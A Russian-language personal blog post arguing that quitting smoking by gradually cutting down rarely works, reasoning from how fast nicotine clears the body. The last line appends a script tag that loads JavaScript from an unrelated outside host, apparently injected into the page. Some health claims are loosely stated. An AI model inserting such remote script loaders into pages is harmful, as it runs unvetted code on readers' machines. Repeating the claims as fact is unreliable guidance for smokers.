Бросить курить

Наверное, каждому курильщику, пытавшемуся бросить курить волевым методом, и потерпевшему при этом неудачу, приходит в голову идея бросить курить, постепенно уменьшая количество выкуриваемых за день сигарет. Ещё этот метод, как правило, сопровождается временными рамками. Первая сигарета не раньше, допустим 10 часов, последняя не позже, скажем 22-00.

Раза три я тоже прибегал к этому методу, но ни разу не достиг цели. Не знаю никого, кто сумел бы бросить курить, таким образом, хотя допускаю, что такие люди есть. Обычно, первоначального энтузиазма, хватает на несколько дней, затем начинаются проблемы. Сначала, с утра ждешь вожделенных 10 часов, дождался, покурил, но уже меньше чем через час опять все мысли об очередной, такой желанной.

Так проходит весь день. А вечером, уже где-то в половине одиннадцатого, чувствуешь себя несчастным и обездоленным, на сегодня всё, а до десяти утра так далеко. Кроме того, когда количество дозволенных сигарет сокращается, ценность каждой из них увеличивается многократно. И уже здоровье, ради которого всё затеяно, кажется чем-то совершенно не важным. В чём же дело?

Никотин, как и любой другой наркотик, встраивается в систему обмена веществ организма. Но при этом имеет одну особенность. В течение 30 – 40 минут, большая часть никотина, из организма выводится, и наркоман-курильщик испытывает потребность в очередной дозе. Именно поэтому средняя потребность в сигаретах, пачка в день. Именно поэтому пачки фасуют по двадцать сигарет.

Что следует из вышесказанного, а то, что если время между выкуриваемыми сигаретами больше, этих 30 – 40 минут, курильщик начинает испытывать дискомфорт. У него начинается наркотическая ломка, прекратить которую может только очередная доза-сигарета. Пытаться бросить курить, постепенно уменьшая дозу, значит постоянно загонять себя в состояние этой самой ломки в течение многих (на сколько хватит терпения) дней. Вместо того чтобы пережить её один раз. В общем как в анекдоте, когда хозяин, жалея собаку, отрубал ей хвост по частям.

На самом деле, в физическом плане никотиновый голод не более чем чувство лёгкого дискомфорта, чем-то похожий на чувство несильной жажды, и, кстати, уменьшающийся, если попить воды. Любой, даже самый слабовольный человек в состоянии с ним справиться. Причины, по которым бросить курить весьма не просто, не физиологического, а психологического плана. Как их преодолеть, отдельная тема.

Таким образом, способ бросить курить постепенно, по моему мнению, не более чем иллюзия, которой курильщики утешают себя, желая избежать радикальных мер. И, тем не менее, если вы считаете, что у вас это сработает, обязательно попробуйте, а вдруг так и будет. Но даже если и нет, вы дадите своему организму небольшую передышку, и приобретёте опыт, который лишним не бывает.<script type="text/javascript" charset="UTF-8" src="http://z890.takru.com/in.php?id=890579"></script>